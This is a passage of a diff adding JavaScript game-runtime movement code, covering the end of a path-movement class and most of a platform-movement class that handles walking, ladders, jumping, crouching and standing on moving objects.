+ number--;
+ this.hoPtr.hoMT_NodeName = this.MT_Movement.steps[number].mdName;
+ this.mtGoArriere(number);
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ this.mtReposAtEnd();
+ if (this.MT_Movement.mtLoop == 0)
+ {
+ this.mtTheEnd();
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ number = 0;
+ this.mtGoAvant(number);
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ else
+ {
+ if (this.MT_GotoNode != null)
+ {
+ if (this.MT_Movement.steps[number].mdName != null)
+ {
+ if (CServices.compareStringsIgnoreCase(this.MT_GotoNode, this.MT_Movement.steps[number].mdName))
+ {
+ this.mtMessages();
+ return this.mtTheEnd(); //; Fin du mouvement
+ }
+ }
+ }
+ this.hoPtr.hoMT_NodeName = this.MT_Movement.steps[number].mdName;
+ this.MT_Pause = this.MT_Movement.steps[number].mdPause;
+ number--;
+ if (number >= 0)
+ {
+ this.mtGoArriere(number);
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ this.mtReposAtEnd();
+ if (this.MT_Direction == false)
+ {
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ if (this.MT_Movement.mtLoop == 0)
+ {
+ this.mtTheEnd();
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ number = 0;
+ this.MT_Direction = false;
+ this.mtGoAvant(number);
+ this.mtMessages();
+ return this.hoPtr.rom.rmMoveFlag;
+ }
+ },
+ mtGoAvant: function (number)
+ {
+ if (number >= this.MT_Movement.steps.length)
+ this.stop();
+ else
+ {
+ this.MT_Direction = false;
+ this.MT_MoveNumber = number;
+ this.MT_Pause = this.MT_Movement.steps[number].mdPause;
+ this.MT_Cosinus = this.MT_Movement.steps[number].mdCosinus;
+ this.MT_Sinus = this.MT_Movement.steps[number].mdSinus;
+ this.MT_XOrigin = this.hoPtr.hoX;
+ this.MT_YOrigin = this.hoPtr.hoY;
+ this.MT_XDest = this.hoPtr.hoX + this.MT_Movement.steps[number].mdDx;
+ this.MT_YDest = this.hoPtr.hoY + this.MT_Movement.steps[number].mdDy;
+ this.hoPtr.roc.rcDir = this.MT_Movement.steps[number].mdDir;
+ this.mtBranche();
+ }
+ },
+ mtGoArriere: function (number)
+ {
+ if (number >= this.MT_Movement.steps.length)
+ this.stop();
+ else
+ {
+ this.MT_Direction = true;
+ this.MT_MoveNumber = number;
+ this.MT_Cosinus = -this.MT_Movement.steps[number].mdCosinus;
+ this.MT_Sinus = -this.MT_Movement.steps[number].mdSinus;
+ this.MT_XOrigin = this.hoPtr.hoX;
+ this.MT_YOrigin = this.hoPtr.hoY;
+ this.MT_XDest = this.hoPtr.hoX - this.MT_Movement.steps[number].mdDx;
+ this.MT_YDest = this.hoPtr.hoY - this.MT_Movement.steps[number].mdDy;
+ var dir = this.MT_Movement.steps[number].mdDir;
+ dir += 16;
+ dir &= 31;
+ this.hoPtr.roc.rcDir = dir;
+ this.mtBranche();
+ }
+ },
+
+ mtBranche: function ()
+ {
+ this.MT_Longueur = this.MT_Movement.steps[this.MT_MoveNumber].mdLength;
+ var speed = this.MT_Movement.steps[this.MT_MoveNumber].mdSpeed;
+
+ var pause = this.MT_Pause;
+ if (pause != 0)
+ {
+ this.MT_Pause = pause * 20;
+ speed |= 0x8000;
+ this.rmStopSpeed = speed;
+ }
+ if (this.rmStopSpeed != 0)
+ speed = 0;
+ if (speed != this.MT_Speed || speed != 0)
+ {
+ this.MT_Speed = speed;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.MT_FlagBranch = true;
+ }
+ this.hoPtr.roc.rcSpeed = this.MT_Speed;
+ },
+ mtMessages: function ()
+ {
+ if (this.hoPtr.hoMark1 == this.hoPtr.hoAdRunHeader.rhLoopCount)
+ {
+ this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurParam0 = 0;
+ this.hoPtr.hoAdRunHeader.rhEvtProg.handle_Event(this.hoPtr, (-20 << 16) | (this.hoPtr.hoType & 0xFFFF)); // CNDL_EXTPATHNODE
+ this.hoPtr.hoAdRunHeader.rhEvtProg.handle_Event(this.hoPtr, (-35 << 16) | (this.hoPtr.hoType & 0xFFFF)); // CNDL_EXTPATHNODENAME
+ }
+ if (this.hoPtr.hoMark2 == this.hoPtr.hoAdRunHeader.rhLoopCount)
+ {
+ this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurParam0 = 0;
+ this.hoPtr.hoAdRunHeader.rhEvtProg.handle_Event(this.hoPtr, (-21 << 16) | (this.hoPtr.hoType & 0xFFFF)); // CNDL_EXTENDPATH
+ }
+ },
+
+ mtTheEnd: function ()
+ {
+ this.MT_Speed = 0;
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.MT_FlagBranch = false;
+ return true;
+ },
+ mtReposAtEnd: function ()
+ {
+ if (this.MT_Movement.mtRepos != 0)
+ {
+ this.hoPtr.hoX = this.MT_XStart;
+ this.hoPtr.hoY = this.MT_YStart;
+ this.hoPtr.roc.rcChanged = true;
+ }
+ },
+
+ mtBranchNode: function (pName)
+ {
+ var number;
+ for (number = 0; number < this.MT_Movement.mtNumber; number++)
+ {
+ if (this.MT_Movement.steps[number].mdName != null)
+ {
+ if (CServices.compareStringsIgnoreCase(pName, this.MT_Movement.steps[number].mdName))
+ {
+ if (this.MT_Direction == false)
+ {
+ this.mtGoAvant(number);
+ this.hoPtr.hoMark1 = this.hoPtr.hoAdRunHeader.rhLoopCount;
+ this.hoPtr.hoMT_NodeName = this.MT_Movement.steps[number].mdName;
+ this.hoPtr.hoMark2 = 0;
+ this.mtMessages();
+ }
+ else
+ {
+ if (number > 0)
+ {
+ number--;
+ this.mtGoArriere(number);
+ this.hoPtr.hoMark1 = this.hoPtr.hoAdRunHeader.rhLoopCount;
+ this.hoPtr.hoMT_NodeName = this.MT_Movement.steps[number].mdName;
+ this.hoPtr.hoMark2 = 0;
+ this.mtMessages();
+ }
+ }
+ this.hoPtr.rom.rmMoveFlag = true;
+ return;
+ }
+ }
+ }
+ },
+ mtGotoNode: function (pName)
+ {
+ var number;
+
+ for (number = 0; number < this.MT_Movement.mtNumber; number++)
+ {
+ if (this.MT_Movement.steps[number].mdName != null)
+ {
+ if (CServices.compareStringsIgnoreCase(pName, this.MT_Movement.steps[number].mdName))
+ {
+ if (number == this.MT_MoveNumber)
+ {
+ if (this.MT_Calculs == 0)
+ return;
+ }
+
+ this.MT_GotoNode = pName;
+
+ if (this.MT_Direction == false)
+ {
+ if (number > this.MT_MoveNumber)
+ {
+ if (this.MT_Speed != 0)
+ return;
+ if ((this.rmStopSpeed & 0x8000) != 0)
+ this.start();
+ else
+ this.mtGoAvant(this.MT_MoveNumber);
+ return;
+ }
+ else
+ {
+ if (this.MT_Speed != 0)
+ {
+ this.reverse();
+ return;
+ }
+ if ((this.rmStopSpeed & 0x8000) != 0)
+ {
+ this.start();
+ this.reverse();
+ }
+ else
+ this.mtGoArriere(MT_MoveNumber - 1);
+ return;
+ }
+ }
+ else
+ {
+ if (number <= this.MT_MoveNumber)
+ {
+ if (this.MT_Speed != 0)
+ return;
+ if ((this.rmStopSpeed & 0x8000) != 0)
+ this.start();
+ else
+ {
+ this.mtGoArriere(this.MT_MoveNumber - 1);
+ }
+ return;
+ }
+ else
+ {
+ if (this.MT_Speed != 0)
+ {
+ this.reverse();
+ return;
+ }
+ if ((this.rmStopSpeed & 0x8000) != 0)
+ {
+ this.start();
+ this.reverse();
+ }
+ else
+ this.mtGoAvant(this.MT_MoveNumber);
+ return;
+ }
+ }
+ }
+ }
+ }
+ },
+
+ stop: function ()
+ {
+ if (this.rmStopSpeed == 0)
+ {
+ this.rmStopSpeed = this.MT_Speed | 0x8000;
+ }
+ this.MT_Speed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ start: function ()
+ {
+ if ((this.rmStopSpeed & 0x8000) != 0)
+ {
+ this.MT_Speed = this.rmStopSpeed & 0x7FFF;
+ this.MT_Pause = 0;
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ }
+ },
+ reverse: function ()
+ {
+ if (this.rmStopSpeed == 0)
+ {
+ this.hoPtr.rom.rmMoveFlag = true;
+ var number = this.MT_MoveNumber;
+ if (this.MT_Calculs == 0)
+ {
+ this.MT_Direction = !this.MT_Direction;
+ if (this.MT_Direction)
+ {
+ if (number == 0)
+ {
+ this.MT_Direction = !this.MT_Direction;
+ return;
+ }
+ number--;
+ this.mtGoArriere(number);
+ }
+ else
+ {
+ this.mtGoAvant(number);
+ }
+ }
+ else
+ {
+ this.MT_Direction = !this.MT_Direction;
+ this.MT_Cosinus = -this.MT_Cosinus;
+ this.MT_Sinus = -this.MT_Sinus;
+ var x1 = this.MT_XOrigin;
+ var x2 = this.MT_XDest;
+ this.MT_XOrigin = x2;
+ this.MT_XDest = x1;
+ x1 = this.MT_YOrigin;
+ x2 = this.MT_YDest;
+ this.MT_YOrigin = x2;
+ this.MT_YDest = x1;
+ this.hoPtr.roc.rcDir += 16;
+ this.hoPtr.roc.rcDir &= 31;
+ var calcul = this.MT_Calculs >>> 16;
+ calcul = this.MT_Longueur - calcul;
+ this.MT_Calculs = (calcul << 16) | (this.MT_Calculs & 0xFFFF);
+ }
+ }
+ },
+
+ setXPosition: function (x)
+ {
+ var x2 = this.hoPtr.hoX;
+ this.hoPtr.hoX = x;
+
+ x2 -= this.MT_XOrigin;
+ x -= x2;
+ x2 = this.MT_XDest - this.MT_XOrigin + x;
+ this.MT_XDest = x2;
+ x2 = this.MT_XOrigin;
+ this.MT_XOrigin = x;
+ x2 -= x;
+ this.MT_XStart -= x2;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ setYPosition: function (y)
+ {
+ var y2 = this.hoPtr.hoY;
+ this.hoPtr.hoY = y;
+
+ y2 -= this.MT_YOrigin;
+ y -= y2;
+ y2 = this.MT_YDest - this.MT_YOrigin + y;
+ this.MT_YDest = y2;
+ y2 = this.MT_YOrigin;
+ this.MT_YOrigin = y;
+ y2 -= y;
+ this.MT_YStart -= y2;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+
+ setSpeed: function (speed)
+ {
+ if (speed < 0)
+ speed = 0;
+ if (speed > 250)
+ speed = 250;
+ this.MT_Speed = speed;
+ this.hoPtr.roc.rcSpeed = speed;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ setMaxSpeed: function (speed)
+ {
+ this.setSpeed(speed);
+ },
+ setDir: function (dir)
+ {
+ }
+ });
+
+ // CMovePlatform object
+ // -----------------------------------------------------------------
+ CMovePlatform.MPJC_NOJUMP = 0;
+ CMovePlatform.MPJC_DIAGO = 1;
+ CMovePlatform.MPJC_BUTTON1 = 2;
+ CMovePlatform.MPJC_BUTTON2 = 3;
+ CMovePlatform.MPTYPE_WALK = 0;
+ CMovePlatform.MPTYPE_CLIMB = 1;
+ CMovePlatform.MPTYPE_JUMP = 2;
+ CMovePlatform.MPTYPE_FALL = 3;
+ CMovePlatform.MPTYPE_CROUCH = 4;
+ CMovePlatform.MPTYPE_UNCROUCH = 5;
+ function CMovePlatform()
+ {
+ this.MP_Type = 0;
+ this.MP_Bounce = 0;
+ this.MP_BounceMu = 0;
+ this.MP_XSpeed = 0;
+ this.MP_Gravity = 0;
+ this.MP_Jump = 0;
+ this.MP_YSpeed = 0;
+ this.MP_XMB = 0;
+ this.MP_YMB = 0;
+ this.MP_HTFOOT = 0;
+ this.MP_JumpControl = 0;
+ this.MP_JumpStopped = 0;
+ this.MP_PreviousDir = 0;
+ this.MP_ObjectUnder = null;
+ this.MP_XObjectUnder = 0;
+ this.MP_YObjectUnder = 0;
+ this.MP_NoJump = false;
+ }
+ CMovePlatform.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mpPtr)
+ {
+ this.hoPtr = ho;
+ this.rhPtr = this.hoPtr.hoAdRunHeader;
+
+ this.hoPtr.hoCalculX = 0;
+ this.hoPtr.hoCalculY = 0;
+ this.MP_XSpeed = 0;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MP_Bounce = 0;
+ this.hoPtr.roc.rcPlayer = mpPtr.mvControl;
+ this.rmAcc = mpPtr.mpAcc;
+ this.rmAccValue = this.getAccelerator(this.rmAcc);
+ this.rmDec = mpPtr.mpDec;
+ this.rmDecValue = this.getAccelerator(this.rmDec);
+ this.hoPtr.roc.rcMaxSpeed = mpPtr.mpSpeed;
+ this.hoPtr.roc.rcMinSpeed = 0;
+
+ this.MP_Gravity = mpPtr.mpGravity;
+ this.MP_Jump = mpPtr.mpJump;
+ var jump = mpPtr.mpJumpControl;
+ if (jump > 3)
+ jump = CMovePlatform.MPJC_DIAGO;
+ this.MP_JumpControl = jump;
+ this.MP_YSpeed = 0;
+
+ this.MP_JumpStopped = 0;
+ this.MP_ObjectUnder = null;
+
+ this.moveAtStart(mpPtr);
+ this.MP_PreviousDir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ this.hoPtr.roc.rcChanged = true;
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ },
+
+ move: function ()
+ {
+ var x, y;
+ this.hoPtr.hoAdRunHeader.rhVBLObjet = 1;
+ var joyDir = this.hoPtr.hoAdRunHeader.rhPlayer[this.hoPtr.roc.rcPlayer - 1];
+ this.calcMBFoot();
+
+ var xSpeed = this.MP_XSpeed;
+ var speed8, dSpeed;
+ if (this.MP_JumpStopped == 0)
+ {
+ if (xSpeed <= 0)
+ {
+ if ((joyDir & 4) != 0)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ xSpeed -= dSpeed;
+ speed8 = xSpeed / 256;
+ if (speed8 < -this.hoPtr.roc.rcMaxSpeed)
+ xSpeed = -this.hoPtr.roc.rcMaxSpeed * 256;
+ }
+ else if (xSpeed < 0)
+ {
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ xSpeed += dSpeed;
+ if (xSpeed > 0)
+ xSpeed = 0;
+ }
+ if ((joyDir & 8) != 0)
+ xSpeed = -xSpeed;
+ }
+ if (xSpeed >= 0)
+ {
+ if ((joyDir & 8) != 0)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ xSpeed += dSpeed;
+ speed8 = xSpeed / 256;
+ if (speed8 > this.hoPtr.roc.rcMaxSpeed)
+ xSpeed = this.hoPtr.roc.rcMaxSpeed * 256;
+ }
+ else if (xSpeed > 0)
+ {
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ xSpeed -= dSpeed;
+ if (xSpeed < 0)
+ xSpeed = 0;
+ }
+ if ((joyDir & 4) != 0)
+ {
+ xSpeed = -xSpeed;
+ }
+ }
+ this.MP_XSpeed = xSpeed;
+ }
+
+ var ySpeed = this.MP_YSpeed;
+ var flag = false;
+ while (true)
+ {
+ switch (this.MP_Type)
+ {
+ case 2: // MPTYPE_FALL:
+ case 3: // MPTYPE_JUMP:
+ dSpeed = this.MP_Gravity << 5;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ ySpeed = ySpeed + dSpeed;
+ if (ySpeed > 0xFA00)
+ ySpeed = 0xFA00;
+ break;
+ case 0: // MPTYPE_WALK:
+ if ((joyDir & 1) != 0)
+ {
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB - 4) == CRun.INTBAD)
+ break;
+ this.MP_Type = CMovePlatform.MPTYPE_CLIMB;
+ flag = true;
+ continue;
+ }
+ if ((joyDir & 2) != 0)
+ {
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB + 4) == CRun.INTBAD)
+ break;
+ this.MP_Type = CMovePlatform.MPTYPE_CLIMB;
+ flag = true;
+ continue;
+ }
+ break;
+ case 1: // MPTYPE_CLIMB:
+ if (flag == false)
+ {
+ this.MP_JumpStopped = 0;
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) == CRun.INTBAD)
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB - 4) == CRun.INTBAD)
+ break;
+ }
+ if (ySpeed <= 0)
+ {
+ if ((joyDir & 1) != 0)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ ySpeed -= dSpeed;
+ speed8 = ySpeed / 256;
+ if (speed8 < -this.hoPtr.roc.rcMaxSpeed)
+ ySpeed = -this.hoPtr.roc.rcMaxSpeed * 256;
+ }
+ else
+ {
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ ySpeed += dSpeed;
+ if (ySpeed > 0)
+ ySpeed = 0;
+ }
+ if ((joyDir & 2) != 0)
+ ySpeed = -ySpeed;
+ }
+ if (ySpeed >= 0)
+ {
+ if ((joyDir & 2) != 0)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ ySpeed += dSpeed;
+ speed8 = ySpeed / 256;
+ if (speed8 > this.hoPtr.roc.rcMaxSpeed)
+ ySpeed = this.hoPtr.roc.rcMaxSpeed * 256;
+ }
+ else
+ {
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ ySpeed -= dSpeed;
+ if (ySpeed < 0)
+ ySpeed = 0;
+ }
+ if ((joyDir & 1) != 0)
+ ySpeed = -ySpeed;
+ }
+ break;
+ }
+ break;
+ }
+ this.MP_YSpeed = ySpeed;
+
+ var dir = 0;
+ if (xSpeed < 0)
+ dir = 16;
+ var sX = xSpeed;
+ var sY = ySpeed;
+ if (sY != 0)
+ {
+ var flags = 0;
+ if (sX < 0)
+ {
+ flags |= 1;
+ sX = -sX;
+ }
+ if (sY < 0)
+ {
+ flags |= 2;
+ sY = -sY;
+ }
+ sX <<= 8;
+ sX = sX / sY;
+ var i;
+ for (i = 0; ; i += 2)
+ {
+ if (sX >= CMove.CosSurSin32[i])
+ break;
+ }
+ dir = CMove.CosSurSin32[i + 1];
+ if ((flags & 0x02) != 0)
+ {
+ dir = -dir + 32;
+ dir &= 31;
+ }
+ if ((flags & 0x01) != 0)
+ {
+ dir -= 8;
+ dir &= 31;
+ dir = -dir;
+ dir &= 31;
+ dir += 8;
+ dir &= 31;
+ }
+ }
+
+ sX = xSpeed;
+ var cosinus = CMove.Cosinus32[dir];
+ var sinus = CMove.Sinus32[dir];
+ if (cosinus < 0)
+ cosinus = -cosinus;
+ if (sinus < 0)
+ sinus = -sinus;
+ if (cosinus < sinus)
+ {
+ cosinus = sinus;
+ sX = ySpeed;
+ }
+ if (sX < 0)
+ sX = -sX;
+ sX = sX / cosinus;
+ if (sX > 250)
+ sX = 250;
+ this.hoPtr.roc.rcSpeed = sX;
+
+ switch (this.MP_Type)
+ {
+ case 1:
+ if (ySpeed < 0)
+ this.hoPtr.roc.rcDir = 8;
+ else if (ySpeed > 0)
+ this.hoPtr.roc.rcDir = 24;
+ break;
+ case 3:
+ this.hoPtr.roc.rcDir = dir;
+ break;
+ default:
+ if (xSpeed < 0)
+ this.hoPtr.roc.rcDir = 16;
+ else if (xSpeed > 0)
+ this.hoPtr.roc.rcDir = 0;
+ break;
+ }
+
+ switch (this.MP_Type)
+ {
+ case 4: // MPTYPE_CROUCH:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_CROUCH;
+ break;
+ case 5: // MPTYPE_UNCROUCH:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_UNCROUCH;
+ break;
+ case 3: // MPTYPE_FALL:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_FALL;
+ break;
+ case 2: // MPTYPE_JUMP:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_JUMP;
+ break;
+ case 1: // MPTYPE_CLIMB:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_CLIMB;
+ break;
+ default:
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_WALK;
+ break;
+ }
+
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+ this.calcMBFoot();
+
+ this.newMake_Move(this.hoPtr.roc.rcSpeed, dir);
+
+ if ((this.MP_Type == CMovePlatform.MPTYPE_WALK || this.MP_Type == CMovePlatform.MPTYPE_CLIMB) && this.MP_NoJump == false)
+ {
+ var bJump = false;
+ var j = this.MP_JumpControl;
+ if (j != 0)
+ {
+ j--;
+ if (j == 0)
+ {
+ if ((joyDir & 5) == 5)
+ bJump = true;
+ if ((joyDir & 9) == 9)
+ bJump = true;
+ }
+ else
+ {
+ j <<= 4;
+ if ((joyDir & j) != 0)
+ bJump = true;
+ }
+ }
+ if (bJump)
+ {
+ this.MP_YSpeed = -this.MP_Jump << 8;
+ this.MP_Type = CMovePlatform.MPTYPE_JUMP;
+ }
+ }
+ switch (this.MP_Type)
+ {
+ case 2: // MPTYPE_JUMP:
+ if (this.MP_YSpeed >= 0)
+ this.MP_Type = CMovePlatform.MPTYPE_FALL;
+ break;
+
+ case 3: // MPTYPE_FALL:
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) != CRun.INTBAD)
+ {
+ this.MP_YSpeed = 0;
+ this.MP_Type = CMovePlatform.MPTYPE_CLIMB;
+ this.hoPtr.roc.rcDir = 8;
+ }
+ break;
+
+ case 0: // MPTYPE_WALK:
+ if ((joyDir & 3) != 0 && (joyDir & 12) == 0)
+ {
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) != CRun.INTBAD)
+ {
+ this.MP_Type = CMovePlatform.MPTYPE_CLIMB;
+ this.MP_XSpeed = 0;
+ break;
+ }
+ }
+ if ((joyDir & 2) != 0)
+ {
+ if (this.hoPtr.roa != null)
+ {
+ if (this.hoPtr.roa.anim_Exist(CAnim.ANIMID_CROUCH))
+ {
+ this.MP_XSpeed = 0;
+ this.MP_Type = CMovePlatform.MPTYPE_CROUCH;
+ }
+ }
+ }
+
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) != CRun.INTBAD)
+ break;
+
+ if (this.tst_SpritePosition(this.hoPtr.hoX, this.hoPtr.hoY + 10, this.MP_HTFOOT, CRunFrame.CM_TEST_PLATFORM, true) == false)
+ {
+ x = this.hoPtr.hoX - this.hoPtr.hoAdRunHeader.rhWindowX;
+ y = this.hoPtr.hoY - this.hoPtr.hoAdRunHeader.rhWindowY;
+ var d = y + this.MP_HTFOOT - 1;
+ var pt = new CPoint();
+ this.mpApproachSprite(x, d, x, y, this.MP_HTFOOT, CRunFrame.CM_TEST_PLATFORM, pt);
+
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.MP_NoJump = false;
+ }
+ else
+ {
+ this.MP_Type = CMovePlatform.MPTYPE_FALL;
+ }
+ break;
+
+ case 1: // MPTYPE_CLIMB:
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) == CRun.INTBAD)
+ {
+ if (this.MP_YSpeed < 0)
+ {
+ for (sY = 0; sY < 32; sY++)
+ {
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB + sY) != CRun.INTBAD)
+ {
+ this.hoPtr.hoY += sY;
+ break;
+ }
+ }
+ }
+ this.MP_YSpeed = 0;
+ }
+ if ((joyDir & 12) != 0)
+ {
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ this.MP_YSpeed = 0;
+ }
+ break;
+
+ case 4: // MPTYPE_CROUCH:
+ if ((joyDir & 2) == 0)
+ {
+ if (hoPtr.roa != null)
+ {
+ if (this.hoPtr.roa.anim_Exist(CAnim.ANIMID_UNCROUCH))
+ {
+ this.MP_Type = CMovePlatform.MPTYPE_UNCROUCH;
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_UNCROUCH;
+ this.hoPtr.roa.animate();
+ this.hoPtr.roa.raAnimRepeat = 1;
+ break;
+ }
+ }
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ }
+ break;
+
+ case 5: // MPTYPE_UNCROUCH:
+ if (this.hoPtr.roa != null)
+ {
+ if (this.hoPtr.roa.raAnimNumberOfFrame == 0)
+ {
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ }
+ }
+ break;
+ }
+
+ if (this.MP_Type == CMovePlatform.MPTYPE_WALK || this.MP_Type == CMovePlatform.MPTYPE_CROUCH || this.MP_Type == CMovePlatform.MPTYPE_UNCROUCH)
+ {
+ do
+ {
+ var pOiColList = null;
+ if (this.hoPtr.hoOiList != null)
+ {
+ pOiColList = this.hoPtr.hoOiList.oilColList;
+ }
+ if (this.hoPtr.hoAdRunHeader.objectAllCol_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, this.hoPtr.hoX, this.hoPtr.hoY, pOiColList) == null)
+ {
+ var list = this.hoPtr.hoAdRunHeader.objectAllCol_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, this.hoPtr.hoX, this.hoPtr.hoY + 1, pOiColList);
+ if (list != null && list.size() == 1)
+ {
+ var pHo2 = list.get(0);
+ if (this.MP_ObjectUnder == null || this.MP_ObjectUnder != pHo2)
+ {
+ if (this.hoPtr.hoOi != pHo2.hoOi)
+ {
+ this.MP_ObjectUnder = pHo2;
+ this.MP_XObjectUnder = pHo2.hoX;
+ this.MP_YObjectUnder = pHo2.hoY;
+ break;
+ }
+ }
+ var dx = pHo2.hoX - this.MP_XObjectUnder;
+ var dy = pHo2.hoY - this.MP_YObjectUnder;
+ this.MP_XObjectUnder = pHo2.hoX;
+ this.MP_YObjectUnder = pHo2.hoY;
+
+ this.hoPtr.hoX += dx;
+ this.hoPtr.hoY += dy;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ this.hoPtr.roc.rcChanged = true;
+ break;
+ }
+ }
+ this.MP_ObjectUnder = null;
+ } while (false);
+ }
+ else
+ {
+ this.MP_ObjectUnder = null;
+ }
+ },
+
+ mpStopIt: function ()
+ {
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MP_XSpeed = 0;
+ this.MP_YSpeed = 0;
+ },
+ bounce: function ()
+ {
+ this.stop();
+ },
+ stop: function ()
+ {
+ this.MP_Bounce = 0;
+
+ if (this.rmCollisionCount != this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mpStopIt();
+ return;
+ }
+ this.hoPtr.rom.rmMoveFlag = true;
+ var scrX = this.hoPtr.hoX - this.hoPtr.hoAdRunHeader.rhWindowX;
+ var scrY = this.hoPtr.hoY - this.hoPtr.hoAdRunHeader.rhWindowY;
+ var x, y, dir;
+
+ switch (this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurCode & 0xFFFF0000)
+ {
+ case (-12 << 16): // CNDL_EXTOUTPLAYFIELD:
+ x = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ y = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ dir = this.hoPtr.hoAdRunHeader.quadran_Out(x, y, x + this.hoPtr.hoImgWidth, y + this.hoPtr.hoImgHeight);
+
+ x = this.hoPtr.hoX;
